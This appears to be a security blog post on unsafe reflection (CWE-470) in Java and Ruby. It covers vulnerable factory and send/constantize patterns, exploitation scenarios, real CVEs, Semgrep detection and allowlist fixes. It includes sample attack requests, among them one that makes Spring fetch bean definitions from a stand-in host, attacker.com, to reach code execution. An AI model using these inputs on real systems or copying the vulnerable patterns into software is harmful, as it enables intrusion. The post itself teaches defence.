Reflection is a language feature that lets a program inspect and manipulate its own structure at runtime: loading classes by name, invoking methods dynamically, accessing private fields. It's a powerful mechanism used heavily in frameworks, ORMs, and dependency injection containers. It becomes a vulnerability when the input to reflection operations comes from an attacker.
This post covers unsafe reflection (CWE-470): how it works, how it's exploited, and how to prevent it. I'll walk through vulnerable code patterns in Java and Ruby, demonstrate exploitation, and cover detection strategies.
What Is Reflection?
Most languages provide some mechanism for a program to examine and modify its own behavior at runtime. In Java, the java.lang.reflect package exposes this through classes like Class, Method, and Constructor. In Ruby, it's baked into the language itself through methods like send, const_get, and Object.class.
Here's a simple example of how reflection is used legitimately in Java. Say you have a plugin system that loads classes from a configuration file at startup:
// Load a class by name from a config file |
This is fine when the class name comes from a trusted source like a server-side config file. The class is loaded by name, a new instance is created via its default constructor, cast to the expected interface, and initialized. The developer controls the input, so they control which code runs.
In Ruby, the equivalent looks like this:
# Instantiate a class by name from config |
Both of these are standard patterns. The problem starts when the string that determines which class to load or which method to call comes from user input.
The Vulnerability
Unsafe reflection occurs when an attacker can control the arguments to a reflection operation. This means they can influence which class gets instantiated, which method gets invoked, or what arguments get passed to a constructor. The application uses reflection as intended, but the attacker gets to decide what it reflects on.
This is cataloged as CWE-470: Use of Externally-Controlled Input in a Call to a Reflection Function. The core issue is a trust boundary violation: user input flows into a reflection API without validation, and the reflection API treats that input as code to execute rather than data to process.
If this sounds familiar, it's because the underlying mechanism is the same one that powers Java deserialization gadget chains. In my previous post on Java deserialization, the InvokerTransformer class from Apache Commons Collections achieves RCE by chaining reflection calls: getMethod(), invoke(), and eventually Runtime.exec(). Unsafe reflection is that same primitive, but exposed directly through the application's own code rather than through a deserialization gadget.
The key difference from insecure deserialization is the entry point. With deserialization, the attacker supplies a crafted byte stream that triggers reflection indirectly through gadget chains. With unsafe reflection, the application explicitly calls a reflection API and the attacker controls the input to that call. The exploit is more direct.
Vulnerable Code: Java
Consider a web application that uses a factory pattern to dynamically select an action handler based on a request parameter:
|
The intent is that a request like /action?action=com.app.ViewProfile instantiates ViewProfile, which implements the Action interface, and calls its execute() method. But the developer is letting the user choose which class to instantiate.
There are a few things that make this dangerous:
1. The constructor runs before the cast: clazz.getDeclaredConstructor().newInstance() creates a new instance of whatever class the attacker specifies. The cast to Action only happens after the object is already constructed. If the target class does something dangerous in its constructor or static initializer, that code runs regardless of whether the cast succeeds.
2. Class.forName loads any class on the classpath: The attacker isn't limited to classes that implement Action. They can specify any class available to the application's classloader, including classes from the JDK itself and every dependency in the application.
3. The error is swallowed: The ClassCastException from the failed cast is caught and discarded. The attacker gets a generic 500 error, but the damage is already done.
A slightly more dangerous variant passes user-controlled arguments to the constructor:
String className = request.getParameter("handler"); |
Now the attacker controls both which class gets instantiated and what data gets passed to its constructor, significantly expanding the attack surface.
Exploitation
What can an attacker actually do with this? The impact depends on what's on the classpath and how much of the reflection API is exposed. Here are a few scenarios in increasing severity.
Denial of Service
The simplest attack is instantiating classes that consume resources. Requesting java.lang.Thread or a class with an expensive constructor can exhaust server resources:
/action?action=java.lang.Thread |
Even classes that simply fail loudly can be useful for fingerprinting the application and its dependencies by observing error messages.
Information Disclosure
If the application returns any information about the instantiated object (class name, toString output, error messages), the attacker can probe the classpath:
/action?action=org.apache.commons.collections.functors.InvokerTransformer |
A ClassNotFoundException tells the attacker that a library isn't present. A ClassCastException tells them it is. This lets an attacker enumerate which libraries and versions are loaded, which is useful for planning further attacks.
Remote Code Execution
When the attacker controls both the class name and constructor arguments, RCE becomes straightforward. ProcessBuilder accepts a command as a List<String> constructor argument:
// What the attacker wants to achieve: |
Whether this is directly exploitable depends on the reflection pattern in the vulnerable code. If the application only calls the default constructor, the attacker needs to find a class whose no-arg constructor or static initializer has a useful side effect. If the application passes user-controlled arguments to the constructor, classes like ProcessBuilder or ScriptEngineManager become directly usable.
In practice, even with a no-arg constructor restriction, the classpath of a typical Java web application contains enough classes with side effects to be dangerous. Spring's ClassPathXmlApplicationContext, for example, accepts a URL in its constructor and will fetch and parse a remote XML bean definition, which can lead to JNDI injection and ultimately RCE:
/action?handler=org.springframework.context.support.ClassPathXmlApplicationContext&config=http://attacker.com/malicious-beans.xml |
Method Invocation
Some applications expose method invocation through reflection as well:
String methodName = request.getParameter("method"); |
This is arguably worse than class instantiation because the attacker can call any public method on the target object. Combined with user-controlled arguments, this provides a direct path to calling Runtime.getRuntime().exec().
Vulnerable Code: Ruby
Ruby's dynamic nature makes unsafe reflection patterns especially common. The language blurs the line between reflection and normal code more than Java does: calling a method by name stored in a variable is idiomatic Ruby, not a special reflection API.
constantize on User Input
The most common pattern in Rails applications is using constantize to convert a user-supplied string into a class:
class TasksController < ApplicationController |
This is the Ruby equivalent of Class.forName() in Java. A request to /tasks/run?type=EmailHandler instantiates EmailHandler and calls perform. But an attacker can supply any class name that's loaded in the Ruby process.
Unlike Java where the attacker is limited to classes on the classpath, Ruby's constantize resolves any constant in the current namespace, including core Ruby classes:
/tasks/run?type=Kernel |
The Kernel module is always available and provides methods like system, exec, and backtick execution. While the code above calls .new.perform, which would fail on Kernel, the fact that the attacker can instantiate arbitrary classes means they can reach classes with dangerous constructors or initializers.
send and public_send
Ruby's send method invokes a method by name on an object. When the method name comes from user input, the attacker controls which method gets called:
class ReportController < ApplicationController |
The intent is for users to request different export formats. But send can call any method on the object, including private ones. An attacker could call:
/report/generate?id=1&format=delete |
public_send is slightly safer since it only calls public methods, but it still lets the attacker invoke any public method on the object:
# Still dangerous - attacker controls which public method runs |
const_get with User Input
Object.const_get resolves a constant (class or module) by name. When combined with user input and method calls, it creates the same class instantiation vulnerability as constantize:
klass = Object.const_get(params[:service]) |
This is functionally equivalent to the Java Class.forName pattern. The attacker controls both the class and the constructor argument, which provides a direct path to code execution through classes like IO or Open3.
Exploitation in Ruby
Exploiting unsafe reflection in Ruby tends to be more straightforward than in Java because Ruby's core classes provide direct access to OS commands. If the attacker can call send with an arbitrary method name on Kernel (which is mixed into every object), they can call system:
# If the application does something like: |
Even without send, simply instantiating the right class with user-controlled arguments can be enough. IO.popen and Open3.capture2 both execute shell commands:
# If the application does: |
Real-World Examples
Unsafe reflection vulnerabilities have appeared in widely deployed software. A few notable ones:
Apache Struts ClassLoader Manipulation (CVE-2014-0094, CVE-2014-0112, CVE-2014-0113): Apache Struts 2 exposed reflection through its OGNL expression engine. Attackers could manipulate the ClassLoader through crafted request parameters, allowing arbitrary class instantiation and ultimately RCE. The initial fix in CVE-2014-0094 was bypassed twice, leading to two additional CVEs. This vulnerability was used in the 2017 Equifax breach, which exposed the personal data of 147 million people.
Spring Framework RCE (CVE-2022-22965 / Spring4Shell): Spring MVC's data binding mechanism allowed attackers to reach the ClassLoader through nested property access on request parameters. By manipulating the Tomcat AccessLogValve through the classloader, attackers could write a JSP web shell to disk. The issue was specifically in how Spring used reflection to set object properties from user-supplied HTTP parameters.
Rails constantize Vulnerabilities: Multiple Rails applications and gems have been found vulnerable through use of constantize on user input. CVE-2013-0156 in Ruby on Rails itself allowed arbitrary object instantiation through XML parameter parsing, which internally used constantize to resolve type attributes. This affected Rails versions before 3.2.11 and was actively exploited in the wild.
Apache Commons OGNL Injection in Confluence (CVE-2022-26134): Atlassian Confluence Server allowed unauthenticated attackers to inject OGNL expressions via the request URI. OGNL's expression language provides direct access to Java's reflection APIs, allowing attackers to call Runtime.getRuntime().exec() and achieve RCE.
The common thread across all of these is user input reaching a reflection or metaprogramming API without validation.
Detection
SAST Rules
Static analysis is the most effective way to catch unsafe reflection at scale. The pattern you're looking for is a taint flow from a user-controlled source (request parameters, headers, cookies) to a reflection sink.
Java sinks to look for:
Class.forName()Class.getDeclaredConstructor().newInstance()Class.getMethod()/Class.getDeclaredMethod()Method.invoke()Constructor.newInstance()ClassLoader.loadClass()
Ruby sinks to look for:
constantizeconst_getsend/public_sendObject.class_eval/module_evalKernel.eval
A basic Semgrep rule for the Java pattern looks like this:
rules: |
The pattern-not clause excludes hardcoded string literals, which are safe. This is a simplified rule - a production rule would also include taint tracking from HTTP sources to confirm the input is actually user-controlled.
For Ruby in a Rails codebase:
rules: |
Manual Code Review
During code review, search for the sink methods listed above and trace the input backwards. The question to answer is: can a user influence this value? Common patterns to watch for:
- Factory methods that take a class name as a parameter
- Plugin or strategy patterns where the type is selected by a request parameter
- Any use of
constantizeoutside of a test file in a Rails codebase - Dynamic method dispatch where the method name comes from user input
Prevention
Allowlisting
The most reliable fix is to never pass user input directly to a reflection API. Map user input to a fixed set of known-safe classes:
Java:
private static final Map<String, Class<? extends Action>> ACTIONS = Map.of( |
The user never controls the class name. They provide a key that maps to a predetermined class. Even if the attacker sends action=java.lang.Runtime, the map lookup returns null and the request is rejected.
Ruby:
HANDLERS = { |
Avoid Dynamic Dispatch on User Input
For send / public_send in Ruby, the same principle applies. Use an allowlist of permitted method names:
ALLOWED_FORMATS = %w[to_pdf to_csv to_xlsx].freeze |
Framework-Level Protections
Some frameworks provide built-in protections. Rails 7+ logs a deprecation warning when constantize is called on untrusted input in certain contexts. Spring Framework added allowedFields and disallowedFields on WebDataBinder after Spring4Shell. If your framework offers a mechanism to restrict reflection or data binding, use it.
As a general rule: if you find yourself calling Class.forName(), constantize, or send with a value that originated from an HTTP request, replace it with a map lookup. The code ends up simpler and the vulnerability disappears entirely.
Conclusion
Unsafe reflection is what happens when a language's most powerful introspection feature is pointed at user input. The vulnerability is straightforward: the attacker controls a string, that string determines which code runs, and the application trusts it. Whether it's Class.forName() in Java or constantize in Ruby, the primitive is the same.
The fix is equally straightforward. Don't let user input flow into reflection APIs. Use allowlists to map untrusted input to a fixed set of safe operations. This eliminates the vulnerability entirely and produces cleaner code in the process.